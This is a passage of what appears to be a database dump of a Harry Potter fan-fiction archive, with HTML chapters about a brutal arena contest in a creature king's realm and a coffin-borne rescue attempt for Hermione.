not,&#8221; Harry says, &#8220;But I&#8217;d like to enter the contest.&#8221;</p>\n\n<p>The goblin looks Harry up and down and laughs.&nbsp; &#8220;That would be entertaining at least.&nbsp; Come on then.&#8221;</p>\n\n<p>They follow the creature to the back of the shop, and into a tunnel covered in bundimun, a green fungus with eyes that follow them with every twist and turn.&nbsp; </p>\n\n<p>&#8220;I didn&#8217;t know that goblins lived in the forest,&#8221; Harry whispers to Dergon, walking steadily behind him.</p>\n\n<p>&#8220;The original inhabitants were outlaws, banned from your world for one crime or the other.&nbsp; The king saw their usefulness immediately and they remain his most loyal servants,&#8221; he replies.</p>\n\n<p>The goblin opens a large brass door, and there is a small, plump goblin sitting in a large plush chair.&nbsp; He is holding a pad of paper and gestures for them to come closer.</p>\n\n<p>&#8220;The young black-haired werewolf wants to enter the Games,&#8221; their escort sniggers.</p>\n\n<p>The room erupts with laughter.&nbsp; The goblin in charge doesn&#8217;t laugh. </p>\n\n<p>&#8220;Purpose?&#8221; the goblin asks.</p>\n\n<p>James and the other Imps had already filled Harry in on this part.&nbsp; He knew what to say.</p>\n\n<p>&#8220;To show my loyalty, and give my life for the chance to serve our king,&#8221; Harry says. </p>\n\n<p>&nbsp;<i>&#8216;For love&#8217; </i>Harry thinks.</p>\n\n<p>Max sneaks up behind Patrick, knocking him in the back of the head with Imran&#8217;s coin.&nbsp; &#8220;Bastard!&#8221; Patrick says, retaliating by tripping Max, sending him flying into the air.&nbsp; All of the Imps laugh.</p>\n\n<p>&quot;Those guys have an odd sense of humor, &#8221; Ron whispers to Pansy.</p>\n\n<p>&#8220;I think they are just plain odd,&#8221; she says.</p>\n\n<p>~~~~~~~~~~~~~~</p>\n\n<p>Hermione sits beside Edred as they ride through the city.&nbsp; She had always assumed that his home was surrounded by forest without any civilized camps, but here was this beautiful city, unfolding right before her eyes.&nbsp; The carriage had surprised her, but she is even more surprised by the abraxan who is pulling it.&nbsp; The horse-like creature is almost the size of the entire carriage itself.</p>\n\n<p>Edred&#8217;s expression is mild at the moment, although he seems a bit petulant to Hermione.</p>\n\n<p>&#8220;What you will see today will be brutal and violent, but necessary to ensure that the victor is willing to give his life to serve me.&#8221;</p>\n\n<p>He pulls on a lock of her hair.&nbsp; &#8220;Perhaps you will enjoy the show.&#8221;</p>\n\n<p>They ride through groves of fruited trees, and down long aisles of immaculate stone houses.&nbsp; She recognizes some of the creatures.&nbsp; There are goblins, Trolls, centaurs, and even some werewolves.&nbsp; There are also creatures that she has neither seen, nor heard of before.&nbsp; She thinks perhaps that they are crossbreeds, like the Blast Ended Skrewt Hagrid had bred in their third year.</p>\n\n<p>The carriage stops, and three goblins open the door and tug on her dress, urging her to exit.&nbsp; She stumbles, and looks out among the sea of strange creatures gathered around the large arena.&nbsp; A hush falls over the crowd.&nbsp; The goblins pull her towards a platform.&nbsp; Edred follows, squashing a small pixie that is unable to get out of his way in time.</p>\n\n<p>&#8220;You will take the chair to my right,&#8221; Edred directs her, and she obeys him. </p>\n\n<p><i>-Oh you&#8217;re so lovely!-</i> the chair squeaks happily<i>- such a lovely queen we will have-</i></p>\n\n<p>&#8216;Thank you,&#8217; she answers sadly.</p>\n\n<p>Edred sits down beside her as the goblins scramble around, attending to them both.&nbsp; One of the goblins hands her a strange drink.&nbsp; She politely accepts it and sips.&nbsp; </p>\n\n<p><i>A blend of pumpkin juice and raspberries-</i> the cup explains.</p>\n\n<p>&#8220;Where are the competitors?&#8221; Edred says to one of the goblins.</p>\n\n<p>There is more scrambling, and a door is opened from across the arena.&nbsp; Almost a dozen large creatures with fearsome weapons and intimidating size walk out to face the cheering crowd.&nbsp; Followed by one, a werewolf who looks oddly familiar.&nbsp; </p>\n\n<p>&#8220;An ambitious one that one,&#8221; one of the Goblins says to Edred, &#8220;Just entered today.&#8221;</p>\n\n<p>Edred peers closely at the werewolf who bares the mark of Dergon&#8217;s clan.&nbsp; &#8220;Very well then,&#8221; Edred says as the contestants race towards the platform.&nbsp; When they are close enough, each of them stop to bow before their king.&nbsp; Their greetings range from pathetically adoring, to quick and polite.&nbsp; Finally, the young werewolf takes his bow before Edred and Hermione.</p>\n\n<p>&#8220;Your majesty&#8230;my future Queen&#8230;I am humbly at your service,&#8221; he says, raising his eyes to meet hers, then quickly bringing them to the ground again.</p>\n\n<p>Hermione&#8217;s heart stops at the sound of his voice<i>.&nbsp; Panic, fear, joy, excitement, dread&#8230;</i></p>\n\n<p>&#8220;You are either very brave or very foolish young werewolf,&#8221; Edred says, taking an interest in him.</p>\n\n<p>&#8220;I am both, your highness.&nbsp; Someone close to me used to tell me so all of the time,&#8221; he answers.</p>\n\n<p><i>&#8216;Harry&#8217; </i>she thinks, holding her hand to her throat, her pulse quickening. </p>\n\n<p>Edred laughs and raises his sword into the air.&nbsp; &#8220;Death to the weak!&#8221; he proclaims, and the roaring crowds of bloodthirsty onlookers repeat the sentiment.</p>\n\n<p><i>&#8220;Death to the weak!&#8221; </i></p> '),
	(220, 7, ' <p><b>AN:</b> Life&#8217;s been crazy so I hope the wait wasn&#8217;t too long.&nbsp; A Ngagsa is a creature I made up, a chicken-like bird who nests on the tops of high buildings, and whose eggs are lethal.&nbsp; Thanks to <b>Seakays</b> for being my lovely Beta.&nbsp; This is for <b>Hyacinth Girl,</b> for her friendly reminders that I needed to work on this.&nbsp; So without further adieu, let the games begin&#8230;</p> &nbsp; <p><b><u>Chapter 6- Games</u></b></p>\n\n<p>The sight of Hermione eats away at Harry&#8217;s heart.&nbsp; Her eyes are huge, still and shiny.&nbsp;&nbsp; Edred is ignoring her, his recent solicitude towards her now superceded by his excitement at the impending bloodshed. </p>\n\n<p>&#8220;The games will consist of two trials.&nbsp; There will be one to test the physical, and one to test the spiritual.&nbsp; Which one is which, is only known to myself,&#8221; the goblin says in the megaphone looking smug, &#8220;and our King.&#8221;</p>\n\n<p>The crowd cheers at the mention of their ruler.&nbsp; Small children are scurrying for refreshments and their parents are chanting impatiently.&nbsp; The competitors stand, stone faced and ready as a trumpet is blown and a reverent song is sung by a pixie wearing a silver gown with blue beads and too much makeup.&nbsp; </p>\n\n<p>Hermione looks around for Ron.&nbsp; She spots a wolf with a head of red hair and their eyes meet.</p>\n\n<p><i>Ron? Hermione? Are you all right? Is that PANSY? Long story&#8230; </i></p>\n\n<p>The ground below them trembles, and club- like feet thrust out from the earth. Black soulless eyes in the center of five outstretched arms are pulled into the air; coming towards the participants like something dislodged from Hell and sent careening to the surface.&nbsp; </p>\n\n<p>&#8220;A Quintaped?&nbsp; How can it be?&nbsp; They are only found on the Isle of Drear,&#8221; Pansy says, stunned.</p>\n\n<p>&#8220;Harry!&#8221; Ron cries out, frantically looking towards the Imps who are standing against the railing, as much in shock as anyone else.&nbsp; </p>\n\n<p>Dergon releases a groan, &#8220;I hope your friend is as skilled as he is brave.&#8221;</p>\n\n<p>&#8220;Poor dumb wolf,&#8221; James says somberly, taking his hat off and shaking his head.</p>\n\n<p>&#8220;Wait and see!&#8221; Imran protests, thinking of his thirty-coin bet.</p>\n\n<p>The competitors stare helplessly, clutching their modest weapons.&nbsp; In the rows of creatures surrounding them, voices begin to cry out, the noise escalating quickly to what it was before the monster&#8217;s dramatic entrance.&nbsp;&nbsp; The Quintaped moves more swiftly now, lifting its first victim into the air, devouring the male troll in three bites.&nbsp; Harry scrambles, along with the others.&nbsp; His wand is tied to his waist, disguised as a small pickaxe.&nbsp; He thinks of a spell that isn&#8217;t too obvious. <i>Confundus Charm </i>would confuse the monster, giving him more time at least.</p>\n\n<p>&#8220;Confundo&#8221;, he whispers, holding the &#8220;pickaxe&#8221; in front of him, as if readying himself to fight.</p>\n\n<p>The goblin that the creature is holding is suddenly dropped onto the ground with a solid thud.&nbsp; The crowd recoils from the sound of shattering bones.&nbsp; The monster is looking around, dazed.&nbsp; The spell is working.</p>\n\n<p>Hermione recognizes the expression on the beast&#8217;s face.&nbsp;&nbsp; </p>\n\n<p>&#8216;Be careful, Harry!&#8217; she thinks.</p>\n\n<p>The remaining ten competitors attack, managing to cause some injury to their confused enemy.&nbsp; <i>Rocks, stones, axes, swords</i>.&nbsp; Harry holds back, as two more are tossed aside by the creature.&nbsp; One poor, unfortunate centaur is stepped on, squashed into the ground like a hamburger patty on a grill.&nbsp; Harry is sprayed by the blood, and wipes it from his eyes.&nbsp; The crowd cheers.</p>\n\n<p>&#8220;You owe me for the centaur Max!&#8221; Patrick says.</p>\n\n<p>Max grumbles about &#8216;dumb luck&#8217; and hands Patrick the money.&nbsp; &#8220;I should have known not to bet on him.&nbsp; Too damn confidant those things are, don&#8217;t you agree sweetie?&#8221; he says, looking up at Pansy.</p>\n\n<p>&#8220;Bug off, you annoying little pest,&#8221; Pansy replies.</p>\n\n<p>&#8220;So feisty &#8230;do I light the fire in you?&#8221; Max says, raising his eyebrows.</p>\n\n<p>&nbsp;Ron can&#8217;t just sit and watch Harry get attacked.&nbsp; He looks around the arena, his eyes falling on a large nest near the back wall.</p>\n\n<p>&#8220;I have an idea, come on.&#8221; Ron stands.&nbsp; Naya and Dergon nod in agreement.&nbsp; Pansy groans and stands up as well. &#8220;You too Imps!&#8221; Ron commands, annoyed at their lack of response.</p>\n\n<p>&#8220;Why us?&#8221; Imran protests.&nbsp; </p>\n\n<p>&#8220;Look, do you want Harry to get squashed out there? You are the only ones small enough not to get noticed.&#8221; Ron asks.</p>\n\n<p>James shrugs. Patrick yawns.&nbsp; Max whistles.&nbsp; Imran looks around frantically for the goblin selling peppermint humbugs.</p>\n\n<p>Pansy laughs. &#8220;I&#8217;d say they are all genuinely apathetic.&#8221;</p>\n\n<p>Ron flinches as another competitor is eaten. His body goes stiff, and he jerks his head towards the Imps again.&nbsp; </p>\n\n<p>&#8220;If you don&#8217;t help Harry, you won&#8217;t get the money.&#8221;</p>\n\n<p>The Imps pay attention.</p>\n\n<p>~~~~~~~~</p>\n\n<p>Harry screams as a burst of hot saliva comes from the monster&#8217;s mouth, searing his right hand. He draws his hand away, shaking it in the air as he runs to get out of the creature&#8217;s line of vision.&nbsp; He almost trips over something.&nbsp; <i>A severed head. </i>&#8220;Christ!&#8221;&nbsp; There are only three of them left to fight, and the arena is beginning to look like a mass grave.&nbsp; He doesn&#8217;t even want to think about what would have happened if he hadn&#8217;t used the confusion spell.&nbsp; He has to think of something else.</p>\n\n<p>&#8220;Harry!!!&#8221; Ron screams, his voice hoarse from trying to get his friend&#8217;s attention. &#8220;Move to the right!&#8221;</p>\n\n<p>Harry nods, and runs to the right side of the creature.&nbsp; The other two competitors follow him, wanting to benefit as well from this unsolicited help.</p>\n\n<p>Hermione breathes a small prayer as Edred watches intently.&nbsp; The pet he has raised just for this occasion is behaving strangely.&nbsp; He wonders if the trade with the secret keeper of that unplottable Isle was worth all of the effort.&nbsp; </p>\n\n<p>Something falls from the sky.&nbsp; Something- no,<i> two somethings </i>&#8211; drop to the dry, stony ground right at Harry&#8217;s feet.&nbsp; The Quintaped doesn&#8217;t take notice right away, which is very fortunate for the remaining competitors.</p>\n\n<p>Harry&#8217;s throat tightens, and his stomach twists with nausea as at once, unflinchingly, he picks up one of the smelly eggs and tosses it towards the beast&#8217;s open mouth.&nbsp; It snaps it up.&nbsp; He tosses the other, and the Quintaped gulps it down without hesitation.</p>\n\n<p>It only takes a second to begin working.&nbsp; The Quintaped&#8217;s movements grow vigorous.&nbsp; Staggering drunkenly around the arena, it spits out a mouthful of something indescribably vile.&nbsp; Then it bends over, retching up half-eaten flesh.</p>\n\n<p>&#8216;Please let this work,&#8217; Hermione thinks, trying to mask her hopeful expression.</p>\n\n<p>A chunk of meat suddenly protrudes from between the Quintaped&#8217;s teeth.&nbsp; <i>Its tongue.</i></p>\n\n<p>&#8220;Fall, you bastard!&#8221; Harry screams.</p>\n\n<p>The beast stumbles, howls, and then collapses like a punctured lung; finally succumbing to the poison of the Ngagsa eggs.&nbsp; </p>\n\n<p>~~~~~~</p>\n\n<p>&#8220;Yes!&nbsp; All right!&#8221; Ron cries out.&nbsp; Dergon manages a smile.&nbsp; Naya is busy chomping on a grilled niffler someone dropped onto the ground.</p>\n\n<p>&#8220;You know, <i>we</i> were the ones to actually slay the beast.&nbsp; Don&#8217;t I even get a kiss for scaling that wall for your friend?&nbsp; Those eggs were pretty heavy.&#8221; Max says to Pansy.</p>\n\n<p>&#8220;Harry - I mean Potter - is<i> not</i> my friend.&nbsp; And no, I would die before I&#8217;d be willing to kiss you.&#8221;</p>\n\n<p>Max looks at her thoughtfully, taking in Pansy&#8217;s features again. &#8220;I&#8217;m patient.&#8221;</p>\n\n<p>&#8220;Grrrrr&#8230;&#8221; Pansy says, bearing her teeth at him.</p>\n\n<p>&#8220;Hey!&nbsp; I was the one who convinced James to use his slingshot!&#8221; Imran says.&nbsp; Patrick trips Imran, and the Imp falls.&nbsp; The Imps all point and laugh.&nbsp; Imran stands, leaping onto Patrick&#8217;s back and wrestles him to the ground.&nbsp; More laughter.</p>\n\n<p>&#8220;God, I hate Imps!&#8221; Pansy complains.</p>\n\n<p>Ron&#8217;s celebratory mood changes abruptly to revulsion as the Quintaped&#8217;s cadaver begins to jerk reflexively.&nbsp; &#8220;I can&#8217;t imagine what&#8217;s coming next,&#8221; he says finally.&nbsp; </p>\n\n<p>&#8220;Hey! There they are!&#8221; A goblin yells, pointing in their direction. &#8220;They killed the King&#8217;s pet! Get them!&#8221;</p>\n\n<p>&#8220;What do we do now?&#8221; Pansy asks.</p>\n\n<p>The Imps race off towards the gate without warning.&nbsp; &#8220;I think maybe they have the right idea!&#8221; Ron says, grabbing Pansy&#8217;s hand and taking off behind them.&nbsp; Dergon stops Naya from following.</p>\n\n<p>&#8220;We have paid our debt,&#8221; Dergon says, as the goblins race past them in pursuit of the Imps, Ron, and Pansy.&nbsp;&nbsp; Dergon and Naya back away into the crowd, Dergon muttering &#8216;Good luck&#8217; to his young friends.</p>\n\n<p>~~~~~</p>\n\n<p><i>-Escape?&nbsp; Why would you want to do that?-</i> the chair says to Hermione<i>- You will be Queen soon!</i></p>\n\n<p>&#8216;You don&#8217;t understand.&#8217; Hermione answers, not taking her eyes off of Harry.</p>\n\n<p>There is a team of pixies clearing off the field for the next event.&nbsp; Harry and the other two competitors sit silently against the back wall.&nbsp; Hermione can no longer find Ron and Pansy in the crowd.</p>\n\n<p>The carcasses are tossed indifferently into the back of a large wagon.&nbsp; Hermione cringes as Edred focuses his attention back onto her.&nbsp; She takes her top lip between her teeth to keep from grimacing. </p>\n\n<p>&#8220;Do not be disappointed, Hermione.&nbsp; There is more entertainment to come,&#8221; he says with the utmost sincerity, crawling under her skin again, and taking control of her.&nbsp; </p>\n\n<p>The field is clear now, and a startling tunnel of wind blows, lifting dust and rocks into the air.&nbsp; It swirls in the center, dancing; proudly displaying it&#8217;s grace and skill. There is applause from the crowd.&nbsp; The stones come crashing down like rain.&nbsp; </p>\n\n<p>Edred smiles, he would have the pleasure of using his most powerful weapon after all.&nbsp; The competitors are directed to the center of the arena again.&nbsp; Harry, a goblin, and a troll are the only ones left.&nbsp; They have exchanged no words, formed no alliances.&nbsp; All must die but one.</p>\n\n<p>Movement flickers behind him, and Harry turns around, his heart speeding up, adrenaline causing his temples to pulse, but there are no monsters, no beasts to slay.&nbsp; It is only a gust of cold wind against his chest.</p>\n\n<p>There is a buzzing noise to his right.&nbsp; He moves again.&nbsp; Wings appear in mid-air, hovering above them all for a moment, and then breaking apart into feathers, disappearing before they hit the ground.&nbsp; There is a meaty thud.&nbsp; Then a brief scream, as the goblin is dragged into the air, vanishing from sight.&nbsp;&nbsp; Harry and the troll stand their ground.</p>\n\n<p>&#8216;Please let Harry survive this,&#8217; Hermione prays.&nbsp; Although she imagines the horror of it, feels it; she can&#8217;t even scream for him.&nbsp; </p>\n\n<p>Harry looks over his shoulders, peering into the empty space.&nbsp; There is a brief flutter, a flash of brown.&nbsp; <i>Eyes.</i>&nbsp; Harry picks up a stone and tosses it towards the nothingness.&nbsp; It falls to the ground, tossed in vain.&nbsp; The troll scratches his head.&nbsp; Harry holds his breath, focusing his intense concentration on staying alive.&nbsp; </p>\n\n<p>There is whispering and shuffling.&nbsp; More frenzied buzzing in his ears.&nbsp; </p>\n\n<p><i>&#8220;Flesh&#8230;blood&#8230;uncooked&#8230;&#8221; </i>it says.&nbsp; Harry shudders, afraid.</p>\n\n<p>Something tightens like steel bands around Harry&#8217;s wrists, pulling his arms above his head.</p>\n\n<p>For a second, Harry is weightless, and the wind has him.&nbsp; He is imbued with a sudden feverish energy, but he doesn&#8217;t give in to it.&nbsp; If he dies, it will be because of his own all-devouring fear.&nbsp; Harry closes his eyes, willing himself back to the ground, saying <i>come on, come</i>\n\n<i>on</i> to his unseen captor.&nbsp; He pictures the beast as translucent, colorless, and then shapeless; falling away and disintegrating into nothing.&nbsp;&nbsp; The grip is loosening, as he continues with this train of thought.</p>\n\n<p>&#8220;You are nothing,&#8221; Harry whispers.&nbsp; He suddenly ascends to the ground, landing on his back.&nbsp; The crowd grumbles, confused.</p>\n\n<p>&#8220;We can&#8217;t see it because it isn&#8217;t really there,&#8221; Harry says to the troll.</p>\n\n<p>The troll shakes his head. &#8220;You want win!&nbsp; You lie!&#8221;</p>\n\n<p>&#8220;If you believe it&#8217;s there, it will kill you,&#8221; Harry says calmly, drawing his breath and closing his hands on nothing.</p>\n\n<p>The troll doesn&#8217;t believe him, and the being can sense it.</p>\n\n<p>The buzzing, which had never really stopped, reasserts itself, quickly rising to a roar.&nbsp; The troll, who is still on his feet &#8211; turns towards it, instinctively raising his club. &nbsp;Harry backs away slowly.&nbsp; The troll is knocked to the ground, screaming through a grin of pain.&nbsp; Blood bursts from the troll&#8217;s eyes and nose as he is squeezed, the invisible entity wrapping around his thick middle.</p>\n\n<p>Harry sits, exhausted.&nbsp; The crowd is in awe, and their screams soon turn to cheers.</p>\n\n<p>&#8220;Wolf boy has done it!&#8221; someone yells.</p>\n\n<p>~~~~~~~~</p>\n\n<p>&#8220;Wolf boy has done it!&#8221; </p>\n\n<p>Hermione opens her eyes.&nbsp; Harry is being lifted to his feet, cheered on and led towards the platform.&nbsp; Edred nods approvingly at the young victor.&nbsp; The goblins direct him up the stairs and when he brushes by Hermione, it is all she can do not to reach out to hold him.&nbsp; She is fighting back tears of relief.</p>\n\n<p>&#8220;Congratulations young wolf, this is most surprising,&#8221; Edred says.</p>\n\n<p>&#8220;Thank you sire,&#8221; Harry says, his words containing pain and contempt in equal measure at the brutality of what he has just witnessed.</p>\n\n<p>Edred draws closer to Harry, taking his hand, examining it for a moment.&nbsp; &#8220;I wonder if you understand just what sort of path you have chosen.&#8221;&nbsp; Edred&#8217;s skin feels like stale bread.</p>\n\n<p>&#8220;My life will be to serve you,&#8221; Harry says, his eyes glancing over at Hermione, &#8220;And your Queen.&#8221;</p>\n\n<p>Edred laughs.&nbsp; &#8220;Don&#8217;t be so nervous.&nbsp; You won&#8217;t be tested again, for which I&#8217;m sure you are suitably grateful.&#8221;</p>\n\n<p>Harry doesn&#8217;t allow a flicker of response to cross his face, his feigned indifference causing Edred some concern.&nbsp; &#8220;You do realize however that if you once fall out of line, I will kill you myself.&nbsp; And I will make you long for the battle with the Quintaped if that day ever comes.&#8221;</p>\n\n<p>&#8220;I understand, your Highness,&#8221; Harry says through gritted teeth, his fatigued frame rigid.</p>\n\n<p>&#8220;What is your name?&#8221;</p>\n\n<p>&#8220;Harry,&#8221; he replies, not having thought to make up another.</p>\n\n<p>Edred smiles, now satisfied with Harry&#8217;s response, and turns toward Hermione. </p>\n\n<p>&#8220;You will be my honored attendant tomorrow at my wedding.&#8221;&nbsp; Edred points to a goblin standing nearest to the stairs.&nbsp; &#8220;Lell will be your servant, and he will tell you all that you need to know.&#8221;</p>\n\n<p>Edred takes Harry&#8217;s arm and raises it into the air.&nbsp; The crowd roars.</p>\n\n<p>&#8220;Harry the werewolf!&#8221; Edred calls out.</p>\n\n<p>Harry looks around for Ron and the others.&nbsp; When he doesn&#8217;t spot them, he looks over again at Hermione.&nbsp; </p>\n\n<p>&#8216;Soon Hermione, I promise,&#8217; he thinks.</p>\n\n<p>She nods her head, and he thinks that perhaps she has heard him.</p>\n\n<p>~~~~~~~~~~</p>\n\n<p>&#8220;What is this place anyway?&#8221; Pansy asks.</p>\n\n<p>James and Max are peeking out of the crack in the door.&nbsp; The goblins have gone.</p>\n\n<p>&#8220;It&#8217;s the morgue, James has the key because he did some work for them last week,&#8221; Patrick explains.</p>\n\n<p>Ron looks at James. &#8220;Are you the only one of them who actually does any work?&#8221;</p>\n\n<p>James nods, &#8220;Yep, pretty much.&#8221;</p>\n\n<p>The other Imps agree.&nbsp; Imran begins to say something, but then changes his mind.&nbsp; Footsteps begin to shuffle past.</p>\n\n<p>&#8220;Its over, there is a winner.&#8221;</p>\n\n<p>There is silence as they all listen to the voices outside.&nbsp; Max opens the door a little more.</p>\n\n<p>&#8220;The werewolf looked so scrawny, who would have thought&#8230;&#8221; someone says brushing past.</p>\n\n<p>Ron exhales with relief.&nbsp; Pansy does as well.&nbsp; </p>\n\n<p>&#8220;We&#8217;re rich! We&#8217;re rich!&#8221; the Imps laugh, dancing around.</p>\n\n<p>Ron eyes Pansy suspiciously.&nbsp; &#8220;If I wasn&#8217;t convinced you were pure evil, I&#8217;d say you were happy that Harry won.&#8221;</p>\n\n<p>Pansy licks her lips. &#8220;Not happy, just relieved that we might soon be able to get out of here.&#8221;</p>\n\n<p>&nbsp;&#8220;Does the winner stay at the King&#8217;s estate?&#8221; asks Ron, looking over at Imran.&nbsp; </p>\n\n<p>Imran scoffs &#8220;No, the winner gets his own house in town.&#8221;</p>\n\n<p>&#8220;So how are we going to get to Hermione before this wedding?&#8221; Pansy asks.</p>\n\n<p>James raises his hand.&nbsp; They all turn to look at him.&nbsp; Max snickers, kicking Imran in the shin.</p>\n\n<p>&#8220;The competitors are all given honored graves behind the King&#8217;s house for their display of loyalty. &nbsp;I think I know a way you can get there,&#8221; James says, &#8220;but it won&#8217;t be fun.&#8221;</p>\n\n<p>James points towards two empty caskets.&nbsp; Pansy throws her arms into the air. &#8220;What a surprise!&#8221; she says, her voice dripping with sarcasm.</p>\n\n<p>Ron exhales, &#8220;I guess we&#8217;d better go find out where Harry is then.&#8221;</p>\n\n<p>&#8220;If he&#8217;s the winner, I know exactly where they&#8217;ve taken him!&#8221; Imran says smugly.</p>\n\n<p>~~~~~~~~~~~~~</p>\n\n<p>Hermione knows that Harry has no choice but to play along for now, but his absence pains her terribly.&nbsp; In the ride back to the house, she is silent among the noisy celebrations erupting throughout the village.&nbsp; Edred stays behind, the honored guest of some pre-marital ritual planned by one of his wealthy associates.&nbsp; </p>\n\n<p>Her arms feel heavy at her sides.&nbsp; She is escorted into the house where she is greeted by strange goblins holding a wedding gown, needles and scissors lying neatly on the table.&nbsp; </p>\n\n<p>They are preparing her; being loyal bridesmaids.&nbsp; They are fitting her for the dress she will wear the next day, if she doesn&#8217;t escape.&nbsp; </p>\n\n<p>They go to work immediately, stripping her down to her slip.&nbsp; She cooperates as they push the gown over her head.&nbsp; The goblin women tug on her sleeves, and then pull her dress into place, lowering the white veil, smoothing the long train behind her.&nbsp; Hermione is numb, and she blocks out their chatter and bickering over whether to hem the gown or not.&nbsp; </p>\n\n<p>Her eyes are red with weeping.&nbsp; </p>\n\n<p><i>- Don&#8217;t you like me?-</i> the gown asks.</p>\n\n<p>&#8216;You&#8217;re lovely.&#8217; </p>\n\n<p>Hermione is unwilling to give away any more thought than this.&nbsp; She closes her eyes, blocking out all of the voices.&nbsp; Her subconscious, unsympathetic to her confinement, taunts her with images of freedom.&nbsp; </p>\n\n<p>&#8220;Too much room in the waist!&nbsp; I told you!&#8221; a goblin snaps.</p>\n\n<p>~~~~~~~~~~~~~~~</p>\n\n<p>&#8220;You have visitors,&#8221; Lall says to Harry.</p>\n\n<p>Harry stands when Ron and Pansy walk into the room.&nbsp;&nbsp; </p>\n\n<p>&#8220;You did it!&nbsp; Lucky Bastard!&#8221; Ron says, patting Harry on the back.&nbsp; Pansy ignores him, admiring a vase on the shelf.</p>\n\n<p>&#8220;So this is what the winner gets, huh?&nbsp; Nice place,&#8221; Max says, kicking the table to test the wood.</p>\n\n<p>Harry looks over at Lall.&nbsp; &#8220;Please excuse us Lall, I&#8217;d like to have some private time with my uh&#8230;friends.&#8221;</p>\n\n<p>Lall sneers, and then promptly exits.</p>\n\n<p>&#8220;Listen, we have a plan to get to Hermione tonight,&#8221; Ron says.</p>\n\n<p>Harry nods, &#8220;Good, lets hear it.&#8221;</p>\n\n<p>&#8220;Well, the ones who died today will be buried tonight in the graveyard behind the Kings house, honored graves.&nbsp; James thinks that we can sneak onto the property that way.&#8221;</p>\n\n<p>James nods in agreement.&nbsp; Patrick and Max are fighting over a silver statuette on the side table.</p>\n\n<p>Harry looks at James, confused.&nbsp; &#8220;How?&#8221;</p>\n\n<p>&#8220;In coffins,&#8221; Pansy says, putting down the vase.</p>\n\n<p>Harry is surprisingly unaffected by this news.&nbsp; &#8220;I guess it beats walking there,&#8221; he says </p>\n\n<p>~~~~~~~~~~~~~~</p>\n\n<p>Hermione soaks in the warm water of Edred&#8217;s opulent bathroom, and tries to ease the images of the day&#8217;s slaughter from her mind.&nbsp; </p>\n\n<p><i>- What will you do? </i>&#8211; the bathtub asks <i>&#8211; will you escape, leaving us here?</i></p>\n\n<p>Hermione shuts off her thoughts.&nbsp; The water grows cool. The bathtub, angry at her refusal to reply, stops putting any effort into heating the water.&nbsp; Hermione stands and dries off, putting on her nightgown.&nbsp; She knows what she will do.&nbsp; She will go to his secret room again. &nbsp;It is a risk, but she needs to <i>see.</i></p>\n\n<p>She walks down the hallway, ignoring the whispered warnings.</p>\n\n<p>&#8216;Please, I need to see again,&#8217; Hermione says.</p>\n\n<p>The door opens, and her thoughts become curiously selfish as she rushes to pick up a vial.</p>\n\n<p>&#8216;I need to see Harry!&#8217;</p>\n\n<p><i>- Our king will kill you for your betrayal- </i>a tree says </p>\n\n<p>She stops, the blue vial temporarily forgotten as she notices the window in the room is open.&nbsp; </p>\n\n<p><i>- Climb out and run like Hell &#8211; </i>a tree says &#8211;<i> so he can catch you and have you for dinner - </i></p>\n\n<p>She stifles the urge, and lets the magic take over her mind.&nbsp; She sees, but it isn&#8217;t what she hopes to see.&nbsp; She begins to panic.</p>\n\n<p>Edred is coming.</p>\n\n<p>~~~~~~~~~</p> '),
	(220, 8, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<title>Hush- Chapter 7 - Deliverance</title>\n\n<style>\n\n</style>\n\n\n\n<b><font size="3"><u>Chapter 7 &#8211; Deliverance</u></font></b>\n\n<p><i>AN:&nbsp;</i> Thanks to <b>Sue</b> for the beta (how I love her!).&nbsp; Sorry for the long wait, the next one will be along shortly.&nbsp; Pinky swear.&nbsp; If you want a first look at chapters and new fics before they are posted, please join my yahoo group at <u><a href="http://groups.yahoo.com/group/msscribefandom">http://groups.yahoo.com/group/msscribefandom</a></u> .</p>\n\n<p>Now, on with the show&#8230; </p>\n\n<p>~</p>\n\n<p>&#8220;Ouch,&#8221; Pansy squeaks, &#8220;You&#8217;re suffocating me.&nbsp; I&#8217;m literally drowning in your noxious fumes.&nbsp; Ugh. Death by Weasley breath.&#8221;</p>\n\n<p>Ron presses his back tighter against his side of the coffin.&nbsp; &#8220;There, is that better?&#8221;</p>\n\n<p>Pansy sighs, resigns herself to temporary misery, and covers her nose.&nbsp; </p>\n\n<p>&#8220;Your breath smells like Knockturn Alley.&nbsp; <i>Worse</i> than Knockturn Alley.&#8221;</p>\n\n<p>&#8220;You aren&#8217;t exactly a basket of potpourri either.&#8221;</p>\n\n<p>&#8220;I smell?&#8221; she says stiffening up, &#8220;impossible.&#8221;&nbsp; </p>\n\n<p>Ron exhales, relaxes his arm behind her.&nbsp; &#8220;You&#8217;re no bed of roses.&#8221;</p>\n\n<p>&#8220;Oh.&nbsp; Well, I guarantee I smell better than you.&#8221;</p>\n\n<p>Pansy stretches her arm, letting it fall across Ron&#8217;s chest.&nbsp; He stiffens.</p>\n\n<p>&#8220;Don&#8217;t go getting all weird on me, Weasel, I&#8217;m just trying to get comfortable in here.&#8221;</p>\n\n<p>Her chest is pressing up against his, and Ron feels a tightening in his groin.</p>\n\n<p>&#8220;So am I,&#8221; he mumbles, begging his body not to betray him.</p>\n\n<p>&#8220;What&#8217;s that?&#8221;</p>\n\n<p>&#8220;Nothing.&#8221;</p>\n\n<p>A turn in the road sends her crashing into him.<del cite="mailto:Evan%20and%20Dionne%20Williford" datetime="2003-07-07T11:36">\n\n</del>She giggles quietly, but as their bodies continue slamming into one another, her laugh changes into a heinous cackle.</p>\n\n<p>&#8220;That certainly doesn&#8217;t<i> feel </i>like nothing.&#8221;<del cite="mailto:Evan%20and%20Dionne%20Williford" datetime="2003-07-07T11:36">\n\n</del><del cite="mailto:Evan%20and%20Dionne%20Williford" datetime="2003-07-07T11:36"></del></p>\n\n<p>Ron groans, quickly changing the subject, &#8220;I can&#8217;t breathe, and my neck feels like it&#8217;s going to snap in two.&#8221;</p>\n\n<p>&#8220;Look, we&#8217;ve got to be getting close by now, so stop whining like a baby.&#8221;</p>\n\n<p>&#8220;As if you haven&#8217;t<ins cite="mailto:Evan%20and%20Dionne%20Williford" datetime="2003-07-07T11:38">\n\n</ins>been whining the entire time. I&#8217;m in pain, but I suppose it would kill you to be sympathetic.&#8221;</p>\n\n<p>Ron shivers when Pansy puts her hand on the back of his neck, and begins to rub the knot.</p>\n\n<p>&#8220;How&#8217;s that, Weasel?&#8221;</p>\n\n<p>&#8220;G-Good.&#8221;</p>\n\n<p>&#8220;Yeah?&#8221;</p>\n\n<p>&#8220;Yeah.&#8221;</p>\n\n<p>&#8220;Should I 